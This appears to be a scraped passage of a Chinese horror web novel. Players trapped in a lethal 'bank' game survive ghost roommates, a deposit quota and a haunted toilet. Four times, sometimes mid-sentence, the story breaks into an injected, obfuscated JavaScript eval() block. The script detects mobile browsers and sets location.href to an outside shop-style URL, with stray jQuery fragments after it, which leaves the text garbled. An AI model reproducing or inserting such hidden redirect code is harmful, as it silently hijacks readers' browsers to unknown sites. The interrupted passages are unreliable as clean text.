【第一条职工寝室一寝四床,皆为满员状态,若房间中人员未满,请不要锁门,防止将室友关在门外;
第二条职工寝室均配备了独立卫生间,若卫生间马桶堵塞,请拨打维修电话:444-444,若维修电话未能接通,请远离卫生间;
第三条请注意卫生间没有配备镜子,如果在卫生间见到了镜子,请不要出现在镜子之中,如果已经出现在了镜子之中,请不要直视‘自己’;<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486408|202033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
第四条寝室每晚24点整熄灯,熄灯前请上床,保持的良好的睡眠是进行明天工作的关键,若未能准时入睡,所有见到的一切将不由‘阳光银行’解释;
*以上条款的最终解释权归‘阳光银行’所有。】
“嗯——”符佳佳咬着自己的下唇,忐忑地问道,“所以,我们刚才是不是锁门了。”
“是的。”君宁眼神充满了绝望。
就在刚刚,她“拉人进门——关门——反锁”一气呵成,姿态上不可谓不潇洒帅气。
“所以我刚刚听见的呼吸声……”符佳佳脸色苍白。
唐青:“现在变成挠门声了。”
君宁头皮发麻:“恐怕正是我们的‘室友’。”
三个人听着那“嘎吱——嘎吱——”的挠门声越来越刺耳,一同陷入了沉思。
所以,她们到底要不要让她们的好室友进来呢?
*
隔壁404。
早早回到了房间的周晓明和江子苍还没来得及看见寝室守则,就已经非常“幸运”地和另外两个室友打了照面。
江子苍一进门,就看见了从床边搭下来的一条灰白色的手臂。
那条手臂有些肥胖臃肿,手指上戴着几个金灿灿的戒指,看起来有点眼熟。
他大气也没敢出一声,死死盯着那手臂看。
周晓明见江子苍神情不对劲,也顺着他的视线看过去,一看就吓了一大跳:“我靠什么玩意。”
江子苍没来得及捂嘴,吓得浑身一抖。
周晓明出声之后,也知道自己闯祸了。因为那手臂慢慢动了起来,它将沉重的身子撑起,终于露出了一张脸。
江子苍终于知道熟悉感从何而来了,那张浮肿的脸赫然就是和他们一同进入游戏的第五名玩家,那个声色犬马的胖子——他明明已经死了!!
江子苍张开嘴,想说些什么,但只能从喉咙的深处发出徒然的咯咯声。
周晓明比他外放得多,瞪大了眼睛干嚎出声:“你、你、你怎么会在这里!!!!??”
胖子咧开了嘴,露出了一个不怀好意的笑容:“你在说什么?我们不都在这里吗?”
周晓明的声音太大了了,很快就扰动了在卫生间里洗漱的“第四人”。
卫生间被推开,另一个肤色灰白的人从里面走了出来,他身上只围着一面浴巾,洗澡水顺着他皮肤的裂口渗入到深处,发出滋滋的声响。它看了一眼胖子,又缓慢地看向了江子苍和周晓明两个人。它用蒙了一层白翳的眼睛看了周晓明和江子苍许久,才露出了一个笑容:“你们俩动作也太慢了,罗浩名已经等你们很久了。”
床上的“罗浩名”认真地点点头。
在两“人”的身后,卫生间的雾气慢慢散去,露出了卫生间的半面镜子。
*
405。
挠门声越来越刺耳,还能听见断断续续地尖啸。
“它在说什么?”君宁把寝室里最后一张桌子推到了房门前,把房门挡的更加严实。
符佳佳侧耳倾听:“它好像在说,放它进来,不然它做鬼也不会放过我们。”
君宁:“它不已经是鬼了吗?”
外面的东西不知道是不是听见了君宁的话,尖啸声都停了两秒。
符佳佳扭头,和君宁对视了一眼,打了一个哆嗦:“好了,你不要提醒我。”
5. 第 5 章
第5章
过了将近五分钟,门外的尖啸声都变小了,显然是累了。
符佳佳好像已经忘了最开始害怕,此时正坐在门口的桌子上,一只脚豪迈地踩在桌板上,另一只腿屈起盘在身前,耳朵贴在门板上:“它开始骂人了。”
君宁一边翻“室友”的抽屉、查找线索,一边分神问道:“骂什么了?”
“你们这群没娘养的b崽子,老娘明天还得上那个b班,这么晚还不让老娘回寝室,迟到了责任你们担得起吗?”符佳佳感叹道,“好心酸,死了还要上班。”
君宁的手一抖,微微破防。
又听见符佳佳压低了声音模仿道:“你们这群没娘养的b崽子,别以为老娘不知道你们在翻老娘的抽屉,呵呵,白费功夫,什么线索都不会有,等等——妈的别动老娘工牌!!”
君宁的手再一抖,心虚地将一张卡片放回抽屉。
【金彩旗
工号:240265
岗位:理财经理】
工牌上的女生眼眶乌黑,笑得像死了爹一样瘆人。
下面压着一张小纸条:这个天杀的岗位。
“诶,它声音好像变小了。”符佳佳忽然拉开了和门板的距离,一脸惊恐。
唐青:“怎么了?”
“它、它在笑,”符佳佳转过头,忽然觉得有些害怕,“它说,马上就要到12点了。”
话音刚落,寝室里的灯忽然嗞啦一声灭了。
……什么声音?
君宁感觉自己的意识沉沉浮浮,四肢无力地瘫软在躺在床上,双眼像被胶水粘住了一样。
耳边细细簌簌的声音更近了。
这是鬼压床吗?
等等……君宁终于听清楚细细簌簌的是什么声音了,那声音仿佛隔着一层保鲜膜,朦朦胧胧地传过来:
“臭傻逼,没有老娘,我看你明天拉存款的任务怎么完成。”
君宁:“……”
这感觉就像在一个声势宏大的前摇之后,对方冲她呸了一声。
但室友似乎并不是一直如此废物,又一阵细细簌簌的声音之后,寝室响起了一声短促而充满惊恐的尖叫声。这尖叫声并不耳熟,是一直寡言的唐青的。
【早起的鸟儿有虫吃,早起的虫儿被鸟吃~
咯咯,那么,你是鸟儿,还是虫儿?】
在别致的闹铃声中,君宁缓缓睁开了双眼。记忆回笼,在听见唐青的尖叫声之后,她的意识就陷入了黑暗。一晚上过去,她一点休息的感觉都没有,倒像是宿醉断片,大脑里面生出了一把小锤子,突突地凿她的脑仁。
她揉着自己的太阳穴,立刻朝自己对面的铺位看去。
在进入寝室之后,她就观察过她们几个的床位。房间里上床下桌,1、2号床靠近门口,分别属于她和唐青,而符佳佳在3号床,4号床是金彩旗。
令她松了一口气的是,唐青还在床上。
短发女生坐在床上,盯着自己的工牌,一副神情不属的样子。
“唐青?”君宁小声开口,“你还好吗?”
唐青浑身一震,猛地侧过头来,君宁这才发现,女生的脸上苍白,身上全是冷汗,刚从水里捞起来似的。
符佳佳也很担心,问道:“唐青姐,昨晚发生了什么?”
“没、没事。”唐青声音干涩,下意识攥紧了工牌。
她没有合拢的指缝中露出了两个数字【70】。
唐青:【生命属性:70/100(岌岌可危,似乎遭遇了可怕的精神攻击)】
看来这鬼怪也喜欢挑软柿子捏,精神状态越差越有可趁之机。
符佳佳抿了一下嘴唇,举起拳头作加油鼓气状:“唐青姐,苍蝇不叮无缝的蛋,你怕什么?再说了,我们沆瀣一气,肯定可以安稳通关的。”
“……”君宁沉默,这几个有一个好词吗?
唐青忍不住轻笑了一声。
歪打正着,她倒是被符佳佳的错误用词安慰到了。
新一天的剧情刷新了出来。
【一日之计在于晨,一年之计在于春~
现在不仅仅是早晨,更是春天的早晨。
请小X尽快前往厅堂,开启自己的第一个旺季营销吧!
对于每个银行人而言~春季!一定是充满希望和激情的季节!】
隔壁的开门声显得迫不及待,走廊上还传来了说话的声音:“速度快一点,迟到了可是要扣工资的。”
说话的那东西仿佛刚学会使用嗓子,发音诡异,声音阴恻恻的,还有几分耳熟。
君宁担心地看了一眼唐青,拉开了房门。
她听见身后的唐青倒吸了一口气,符佳佳更是夸张的“妈呀”了一声。
一座肉山挡在她们的面前,感受到了身后的动静,那肉山颤巍巍地扭过头来,露出了一张熟悉的面孔。
罗浩名咧开嘴,露出自己一口被香烟熏黄的牙,嘎嘎地笑道:“好久不见,你们竟然还健在。”说完,他转动眼珠子,打量了一眼君宁房间的门牌号。
门牌上多了一道划痕,房号已经变回了403。
赌对了!【员工守则】的第四条“每个职工都有自己的寝室,若进错寝室,职工职工生命安全的最终解释权将不归‘阳光银行’所有”中规定的仅仅是不能进错寝室,在进入寝室的时候,门牌号是405,那君宁她们就不算违规。而在进入寝室之后,对玩家起到作用的只剩下第三条“女员工需要住在单数寝室”。
君宁收回了目光,重新打量起罗浩名来。尽管在进入副本前,她只是远远地看了罗浩名几眼,但也十分肯定,当时的罗浩名绝对没有现在这么胖。
此时的罗浩名,皮肉松弛,像被水泡发了一样。
他身后的江子苍和周晓明双眼发红,脚步发虚,一副见了鬼的神情。
符佳佳鼓起勇气,试图顺着墙角挤出去,找江子苍和周晓明对一对线索,刚探出个脑袋,又怂怂地缩了回来。
她抓着君宁的手腕,可怜巴巴地道:“还有一个。”
很快,君宁就知道符佳佳说的是什么了。一个瘦得跟杆子似的鬼怪站在周晓明的身侧,挂着和金彩旗同款的黑色眼眶,脸色带着如出一辙的死了爹一般的笑容。
君宁不由得心生怜悯之情。
和俩鬼怪同居一晚,江子苍和周晓明可不就是见了鬼嘛。
罗浩名发现根本吓不到君宁,颇感无趣,扭过头又去和江子苍和周晓明“贴贴”去了。
唐青这才上前了一步,站在君宁身侧。不知道是不是昨晚遭受了鬼怪攻击的缘故,她总觉得自己的精神变得更加脆弱和敏感了。不过,幸好她长了一张冷脸,深藏的恐惧并未被罗浩名发现。
刚松了一口气,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486409|202033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一抬眼,她却发现另一名鬼怪正直勾勾地盯着自己。
见她发现了自己,瘦子鬼怪嘴角缓慢地咧到了太阳穴。
唐青的心跳加速,下意识朝君宁看去。
正好看见君宁嫌弃不已地扭过了头,一副被丑到了的神情。
她狂跳的心脏忽然就平静了下来。
再看向瘦子鬼怪的表情也不由自主地带上了一点嫌弃。
瘦子鬼怪:“……?”
*
君宁来到厅堂的时候,笑得像一朵花的大堂经理瞬间就垮脸了。
它扭头从旁边拽出了另一颗美妆蛋,美妆蛋顶着蘑菇头,眉宇间的川字纹足以夹死蚊子。看见君宁一行人,它推了一下架在鼻梁上的无框眼镜,镜片反射出一道凌冽的冷光。
君宁扫了一眼她的工牌:理财团队长。
“经过昨天行里对你们表现的考察,行长认为,留你们在厅堂服务的岗位实在是屈才了,应该给你们足够的发光发热的机会,于是,今天开始,你们升职了!成为了财富团队的一员。”大堂经理苦着一张脸上前,越讲越兴奋,讲到后面双眼放光,恨不得立刻将君宁这几个烫手山芋丢给理财团队长。
理财团队长上下扫视君宁一眼,啧了一声,才开口道:“今天开始就是开门红了,你们每个人每天保底目标是新增100万存款,如果没有完成——”它露出了一个诡异的笑容,“晚上留下来和我盘储备。”
江子苍苦了一张脸:“一百万,我这辈子还没见见过一百万呢。”
理财团队长双眼迸发出精光,笑眯眯地凑到江子苍的面前:“拉不到?也没有关系,下班后我会一对一辅导你的。”
“拉得到,当然拉得到。”周晓明连忙将江子苍拉到一旁,说道,“不过你总要和我们说清楚近期存款的利率多少,提升了有什么权益和礼品吧。”
“这个呀——”理财团队长双手背在身后,卖关子地拖长了语调,“你竟然不知道么?”
周晓明皱眉。
只见美妆蛋忽然笑得前仰后俯:“我们早就进入负利率时代了!权益?礼品?送客户一个大耳刮子算不算?”笑着,它就挥舞着手臂朝周晓明扇过来。
它的手臂皮包骨,像一根尖锐的枯木枝,长长的指甲缝里藏着人血一样的污渍,挥舞起来发出哗啦呼啦的风声。
周晓明吓得脸色苍白,下意识拉过旁边的东西抵挡。
只听见扑哧一声。
一股腐烂的恶臭味迅速在空气中蔓延开来,罗浩名呆呆地盯着自己破口的肚子,看着里面红白黑的组织软塌塌地流淌下去,过了好一会,才反应过来,仰天发出了一声不像人的怒吼,朝着周晓明扑过去。
周晓明吓得浑身打摆子,刚后退了两步就双腿发软,扑通一声倒在地上。
江子苍还想扶他,刚伸出手,就瑟缩着收回来了。罗浩名是周晓明害的,如果他帮忙了,会不会也记恨上自己?
三名女生也吓了一跳,唐青立刻冲了出去。
唯有厅堂的美妆蛋们都露出了看好戏的笑容。
可惜罗浩名强弩之末,走了两步,像被戳破的充气玩偶一样,颓然地瘫在了地上,肚子里地东西流了满地,皮囊里面什么都没有剩下,只剩下那张横肉的脸,发黄的眼珠子,直勾勾地盯着周晓明。
周晓明才像终于找到了自己的声音一样,尖叫出声。
6. 第六章
厅堂里安静的不像话,一直藏在角落里的清洁工拖着拖把和扫帚出来,面无表情地将地上的污血拖得到处都是。
理财团队长暂时放过周晓明,满意地坐在自己办公室里欣赏自己那双“鸡爪”。
周晓明本人吓得不清,双手捂着自己的脸颊,一直在念念叨叨。凑近了,能听见他在说“你早死了,不能怪我,不能怪我。”一类的话。
而江子苍意外的状态极差,那股不想活了的气息又从他的双眼中钻了出来。搞得符佳佳想上去打探情报,都无从下手。
最后符佳佳只能拐回来,凑到君宁的身边,小声问道:“那个胖子到底是怎么回事?”
君宁一边翻看存款利率的宣传折页,一边平静地回答道,“巨人观爆炸了。”
符佳佳回忆了一下罗浩名越来越大的身体,和被戳破皮肤的那一瞬间迸射出的烂肉和气体,感觉胃里翻江倒海:“宁姐实乃非常人。”实在是过分冷静了。
君宁抬起头,露出一双无精打采的死鱼眼:“过奖。”
毕竟她有个吹毛求疵的老板,为了完成某次刑侦主题展会的设计,她被迫研究了人类惨烈死状不下百例。
老天奶,空空的办公室,黑黑的夜,陪着她的只有窗外呼啸的寒风和电脑里的巨人观!!
她在心中长叹一口气,以前的处境不咋样,现在的处境也不好:“半年期存款利率-0.5%,一年期0.01%,如果我没猜错的话,不可能有人愿意来存。”
唐青的脸色有点僵硬:“可能这还是最理想的情况。”
君宁感觉厅堂的氛围变得有些诡异,顺着唐青的视线看了过去。
只见玻璃门之外,三个头大身子小的美妆蛋NPC互相搀扶着朝着银行走来。被簇拥在中间的那位头发花白,一边扯着嗓子哭嚎,一边抹去脸上根本不存在的眼泪。三个怪物脑门上仿佛贴着大字——“找茬的”。
理财团队长站起身来,嘴唇蠕动了一下,又远远地冲着那三个怪物比了一个手势。
符佳佳心惊胆战:“她什么意思??干嘛指我们!”
君宁思索了片刻,甚至有点受宠若惊:“它说‘擒贼先擒王’。”
唐青无语:“不要为这种虚名自豪!!”
“好吧。”君宁的眼睛微微发亮,“她们走过来了。”
唐青:“我看见了……但你在兴奋什么!?”
君宁耸耸肩。
在她万分期待的目光中,那三个怪物推开了玻璃门,随后,在君宁万分期待的目光中,踟蹰在原地。
怪物:怎么回事?就忽然很想换一个人。
它们的视线从君宁三人的身上扫过,看向了江子苍和周晓明,又在理财团队长的逼视之下,不情不愿地换回来了。
走到距离君宁三步远的地方,它们才深吸一口气,起范了。
“昨天就是她!”中间那位被同伴搀扶着的美妆蛋忽然干嚎出声,在君宁处变不惊的死鱼眼注视下,它鬼使神差地换了一个人指,“没错,就是她。”
符佳佳:“?”
站在老年美妆蛋右侧的男性美妆蛋立刻放开自己老妈,三两步走到了符佳佳的面前,想去拎她的衣领。
老年怪物还在假惺惺地干嚎:“她昨天骗我借了100万,100万啊!!我这辈子都还不起啊!!”
君宁的眼睛一亮,一步冲了上去。
唐青脸色一变,没来得及逮住君宁,就看见她一把抓住了男性怪物的手腕:“骗你们借钱?什么意思?”
唐青心中萌发了一种不太妙的预感。
又看见君宁已经抢过了老年怪物的手机,若有所思地念念有词:“哦,贷款啊,你都六十岁了,还能贷出来一百万,要求倒是放的很宽啊。”
果不其然,又听见她嘀咕了一声,“正好三个,一个一百万。”
唐青:“……”通关方法可以偏门,但不能邪门啊!!
美妆蛋:“……我要投诉。”
君宁立刻拿出平板:“好呀,我可以帮你。”紧接着她按下了理财团队长的工号。
一直在偷瞄的理财团队长:“!!”
只听见一声高频的低鸣,理财团队长窗口的玻璃猛然爆裂,气浪裹挟着玻璃碎片席卷而来。而它的身体则像面条一样拉长,脚还没有离开地面,手却已经飞速刺向了君宁的心口,那尖锐的指甲化仿佛锃亮的利刃。
符佳佳和唐青都控制不住地尖叫出声。
君宁却像被丢进了水里,什么都听不清,一切都变成了一帧一帧的慢动作,她的心跳压抑着加速,但又有一下没一下,就像每次被领导劈头盖脸的骂一顿的时候一样,人神忽然分离了。
她甚至以为自己出现了幻觉,她揉了揉眼睛,眼前的画面却没有出现丝毫变化。
一个橙色的方框将整个场景囊括其中,原本3D的怪物变成了毫无威慑力的制片人,大约是系统不够稳定,它还一卡一卡的,狰狞扭曲的面容在熊猫头表情包画风之下显得有些滑稽。
眼熟的橙□□面就差把自己的名字印在脑门上了——PPT。
君宁:“?”
ppt的操作栏基本上都是灰的,唯一亮着的是“插入”。
页面中的怪物越来越近,画面窜过电流,变得不稳定,眼见着怪物尖锐的指甲就要将画面撕开了,君宁才猛然反应过来自己应该做些什么。
怪物脸上的笑容逐渐扩大,嘴角就差咧到耳朵背后去。
这东西拖不了它多久!
君宁的意识从水底下冒出了头,重新听见了自己加速的心跳声,恐惧感突破了自我保护的薄壳,重新捕获了她。
肾上腺素飙升,她来不及多想,操纵着由目光控制的鼠标,点击了“插入-图片”。
一个文件夹立刻弹了出来。
里面什么有用的东西都没有,只有里面一排排宠物用品。
君宁:“???”这他妈不是她猝死前正在准备的宠物展吗??
她惊恐万分地看向了一个猫咪指甲钳。
下一秒,文件夹消失不见,取而代之的是出现在ppt页面中央的指甲钳。
而正在此时,怪物终于撕开了画面,泛着寒光的指甲终于从ppt页面中冒出了头。它似乎完全挣脱了禁锢,靠近的速度越来越快,嘴角也咧到耳朵后面。君宁甚至已经闻到了对方身上腥臭的风。
眼见着那指甲就要戳进君宁的眼眶里,一个指甲钳以迅雷不及掩耳之势冲过来,只听见“咔擦”一声,怪物用自己的指腹抚摸了一下君宁的眼皮。
又听见“咔擦”“咔擦”十声,下一刻,橙色方框消失不见,只剩下怪物和君宁四目相对。
符佳佳震惊地睁大了双眼:“它为什么要摸宁姐的脸?”
“哎妈呀!还准备袭胸,臭流氓!!”
怪物准备掏心的手:“……”
【投诉成功,客户的期盼就是我们最大的动力!!】君宁的pad响起充满愉悦的电子音,打断了现场的尴尬。
理财团队长对君宁怒目而视。
君宁缩着脖子往后退了两步,举着手无辜状:“抱歉,不小心手滑了。”
理财团队长半个脑袋裂开,发出了一声瘆人的怒吼,挥舞着双臂再一次朝君宁扑了过去。
还没来得及碰到君宁的一片衣角,它的手臂就不受控制地弯折过来,狠狠扇在了自己的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486410|202033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脸上。
“啪!”
一声突兀地巨响,三个来找麻烦的顾客也跟着浑身一抖。
理财团队长喘着粗气,脑袋被自己扇凹了一块,眼珠子还飞出去了一只。
它尖叫着扭过头,又试图朝君宁扇去。
又是“啪!”的一声,那巴掌千回百转地着陆在了它自己的脸上。
团队长不信邪,再次努力——
“啪!”
这次是百折千回地着陆。
君宁长舒一口气,转过头,就看见那三个来找茬的美妆蛋鬼鬼祟祟地朝门口走去,中间那位老年蛋腿脚都利索了不少。
君宁露出职业性微笑:“诶,别走啊,你们不是说准备每人存个一百万吗?”
美妆蛋们在不绝于耳的“啪啪”声之中露出了绝望的神情,仿佛被君宁霸凌了一般。
*
“对,一百万,就点这里。”
“诶!谢谢您!”
对比符佳佳的笑容满面,美妆蛋们可谓是苦不堪言。
在君宁这桩大佛的监督和团队长依旧在自我惩罚的前车之鉴之下,厅堂里的美妆蛋们皆如惊弓之鸟。
门口的美妆蛋在门口探头探脑,愣是一个都没敢打开这扇大门。
最后,周晓明和江子苍没等到第四个顾客,只能将目光转向了厅堂同僚。
同僚们:“(一种植物)”
到厅堂的卷闸门五点半的时候准时落下,一天的业绩清算时间终于到了。
【2025年1月1日,晴。
吾日三省吾身,
开门红而不加班乎?
领导之锅而不背乎?
业绩不达标而不贷款上班乎?】
广播音幸灾乐祸道:
【作为985本硕金融的优秀毕业生,小X的职业生涯又进入了新的阶段,理财经理可是一个多劳多得的好岗位。每天的工作都应该及时总结~若有错漏也可以及时改正。今日任务拉存款100万元,这对新人而言可是一个几乎不可能的任务呢~】
它停顿了一下,似乎在复核玩家的业绩,过了片刻,它发出一连串不可置信的电流声,随后不情不愿地宣布道,
【小X成功拉到了一百万存款,圆满完成了今天的任务。团队在开门红竞赛中大获全胜,即将发放业绩奖励~】
一道金光从天而降,落在了团队长的身上。
团队长繁忙的双手终于停了下来,它捧着那团金色的光芒,想都不想就往自己的嘴里送去。咽下金光,它发出了一声满意的叹息,原本七零八落的身体朝着一个地方聚拢而去,在众目睽睽之下重新生长在了一起。
它伸手在自己脸上抠出了两个洞,终于将自己眼珠子安了回去,充满恶意地打量着君宁。
符佳佳很不爽:“怎么回事?不是说我们都有业绩奖励吗?”
江子苍脸色不太好看:“业绩被二次分配了。”
符佳佳:“什么意思?”
唐青解释道:“就是整个部门的业绩提成会直接发放给领导,由领导发放给手底下的员工。”
符佳佳睁大了眼睛:“我靠,这么不公平的?”
广播音适时响起:【业绩奖励发放结束~想必小X会更有激情地迎接美好的明天。】
【工作的美好时光总是那么短暂,又到了下班的时候。小X念念不舍地和团队长挥挥手,笑着说:明天见~】
话音落下,四名玩家失去了对身体的掌控权,僵硬地举起自己的手臂,整齐划一地说道:“领导,明天见。”
团队长的嗓子漏着风,阴恻恻地回道:“明天见。”
头顶的灯再一次熄灭了。
7. 第 7 章
下一秒,灯光重新亮起,照亮了周晓明还未收敛的神情:“你把它惹怒了,可别连累我们。”
符佳佳一听就来火:“什么意思啊你?不反抗难道在那等死吗?”
“生或者死,都是她自己该承担的后果”周晓明表情狰狞,恐惧和怨毒扭曲在一起,一字一句,声音也越来越尖锐,“你难道担心,万一我们被她拖累了——”
唐青冷冷地打断:“你拖累我们还差不多。”
她一把拉住符佳佳,往门外走去:“和这种人没什么好讲的。”
君宁耸耸肩,跟在唐青和符佳佳的身后,朝着后门走去。临出门前,她回头看了一眼。
江子苍下意识跟上她们的脚步,却在君宁看过去的时候避开了目光。厅堂的灯光从上而下照在周晓明和江子苍两个人的身上,两张笼罩在灯光阴影之下的面目都模糊不清。
通往宿舍楼的唯一的道路上白雾依旧,不知道是不是君宁的错觉,供她们行走的小路显得更加狭窄了。
符佳佳把唐青抱在自己和君宁的中间,瑟瑟发抖地坚强着:“靠,这些白雾怎么这么烫!”
唐青:“温度升高了,而且白雾离我们也更近了。”
君宁皱着眉,不仅如此,白雾仿佛有了生命一般,带着燥意疯狂涌动着,若不是被什么规则约束,恐怕已经将她们三个吞没了。
这只是第二天。
到了第三天、第四天,这条路上还会有容她们通过的间隙吗?她们还能在门禁之前平安地回到职工宿舍吗?如果被困在厅堂,她们能平安地度过那个晚上吗?
君宁的心脏砰砰直跳,若要一个游戏具有可玩性,就必须设计合理的通关率。
可是从第一天开始,所有的“通关”都基于她的骚操作,而非正常情形,到了现在,她依旧没有从整个游戏设计中看出一条明朗的生路。
这到底是游戏,还是屠杀?
如果只是屠杀,有必要设计如此复杂的情节吗?
无数的念头在君宁的脑海中一闪而过,最后变成了眼前深绿的发烫的单元门。开门的瞬间,黑烟从走廊中喷涌而出,扑了君宁一头一脸。
但符佳佳和唐青没有丝毫反应,似乎那只是她一个人的错觉……
“走廊的灯怎么都不亮了?”符佳佳重新开始瑟瑟发抖,“以及,我为什么听见有人在喊救命。”
她死死盯着君宁和唐青:“不许说你们都没有听见。”
唐青确实没听见,她看向了君宁。
君宁紧紧蹙起的眉心反而松开了不少:“没听见,不过我看见了黑烟。”
“黑烟?”符佳佳警惕地环顾四周,“什么黑烟??”
君宁露出了一点笑意:“和你听见‘救命’一样,黑烟是我的限定版。唐青,你呢?观察到了什么不一样的东西吗?”
唐青吸了吸鼻子:“东西烧焦的味道,很淡。”
符佳佳有样学样,鼻子吸得皱成一团:“什么味道,没闻到。”
“把我们感受到的拼凑起来,这里应该发生了火灾。”君宁伸手碰了一下墙壁,疼得倒吸了一口凉气,“或者说,火灾正在发生。”
唐青也跟上来:“也就是说,每个人的视角都是不完整的,只有将我们所有人观察到的拼在一起,才是真实的情况。”
君宁点头:“这是一个需要团队合作的副本,但是我们遇到了不好的团队。”
“宁姐,我觉得,团队的事情可能要先放在一边……”
符佳佳走在最前面,也是第一个到达四楼的,此时的背影看起来有些瑟缩:“或许我们应该先讨论一下,为什么我们寝室的房门是敞开的。”
视线跃过她的肩头,只看见403那寝室的房门完全敞开,恶臭的积水从房内蔓延而出,水面反射着白炽灯的冷光。
寝室守则第二条。
【职工寝室均配备了独立卫生间,若卫生间马桶堵塞,请拨打维修电话:444-444,若维修电话未能接通,请远离卫生间;】
马桶堵塞事件迫在眉睫,现在问题来了。
第一,哪里可以拨打维修电话。
第二,多远才算远离卫生间。
第三,距离23点仅剩半小时,她们该不该先回寝室。
显而易见的是,尽快拨打维修电话,将马桶堵塞的问题解决,在23点门禁之前回到寝室,是解决整个问题最常规、安全的路径。
但问题是,哪里有电话。她快速回忆了一遍,有电话的地方在厅堂,厅堂的前台放着一台大红色的老式座机。
“喂,是维修部吗?”
??等等。
君宁僵硬地转过头,眼睛缓慢地瞪大了。
只见符佳佳怀里抱着一个大红色的座机,赫然是厅堂里的那个。
什么时候顺来的?
唐青轻咳了一声,解释道:“可以无线使用的。”
不是!她疑惑的不是这个问题呀!!
电话那头传来接线员甜到发腻的声音:“嘻嘻嘻~欢迎致电444-444地狱热线,请问您有什么需要咨询的问题么?”
符佳佳搓搓自己冒出来的鸡皮疙瘩:“呃,宿舍马桶坏了需要维修。”
“哦?众所周知,马桶有很多种类型,请问您想维修的哪一种马桶呢?是圆形下水道口马桶,是星形下水道口马桶,还是水母型下水道马桶呢?”
现场陷入了诡异的沉默,符佳佳看了看唐青,又看了看君宁:“所以……?”
唐青和君宁齐刷刷地摇头,准确来说,有马桶堵塞和卫生间镜子两大杀器的存在,三个人昨天晚上就没有踏足过卫生间。
电话那头又短促尖锐地笑了一声:“每天咨询的人数很多呢,如果您不知道马桶到底是什么型号的,可以先挂掉,晚点再拨打过来哦~”
符佳佳看着君宁视死如归地冲入了卫生间,又一脸见鬼的出来,冲她做了一个手势。
“不,我们知道。”她瞳孔微微震动,“是水母型下水道口马桶。”
电话那头诡异地沉默了两秒,才若无其事地说道:“哦,这样呀,那你们等半小时,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486411|202033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
马桶自己就会好啦。”话没说完,它就咔的一下挂断了电话。
符佳佳僵硬地举着话筒,半晌都没回过神来。
“首先,什么是水母型的下水道口马桶?”
君宁罕见的有些裂开:“马桶里卡着个仰面朝上的水母头。”
是她想的那样吗?符佳佳恍恍惚惚地问出第二个问题:“其次,等半个小时马桶自己能好,意思是我们现在可以回寝室?”
君宁:“……卡住了,威胁性确实不大。”
“哦,这样。”符佳佳麻木地把红色电话塞进自己的长裙之下,同手同脚朝403走去。
君宁:“?”不是,你刚刚就把东西藏在这里??
三个人淌水走进房间,聚集在卫生间里,和马桶里的水母头大眼对小眼。
水母头长得蛮可爱,就是只剩下一个脑袋平添了很多分的惊悚,脑袋上的头发钢丝一样,坚硬地拗出一个水母的发型,严丝合缝地和马桶下水道口卡在了一起。
可不就是一个水母型下水道口马桶。
水母头见到几人,不要脸地嘤嘤:“帮我。”
唐青看看厕所角落的马桶搋子,又沉默地看向君宁。
君宁也沉默了。
过了片刻,她友好地询问水母头:“你真的需要帮助吗?”
水母头嘤嘤:“帮帮忙。”
下一秒,乌云罩顶,它只感觉一个巨大的东西笼罩住了自己整个面部,诡异地吸力将它脸上的皮肤都吸地扭曲了。
水母头:总觉得哪里不对。
还没来得及想清楚,就听见咚地一声,它被下水道吸了回去。
君宁收起马桶搋子,仔细检查了一下下水口:“不见了。”
符佳佳举起大拇指:“威猛。”
马桶不再漫水出来,寝室里的积水也很快消退了。
三个人甚至在房间角落找到了拖把和扫把,可能是经历的多了,心态突飞猛进,她们甚至还顺手将房间里的积水拖了,才拉着椅子聚集在一起,复盘今天发生的事情。
照符佳佳和唐青的说法,她们根本就看不见君宁的ppt。
她们只能看见团队长比划了一个大的,声势宏大地冲上来,和君宁来了一个过分亲密的接触。而红色电话机,就是符佳佳这个时候顺手牵羊的。
按照她的说法是,不知道为什么,忽然就是想要。
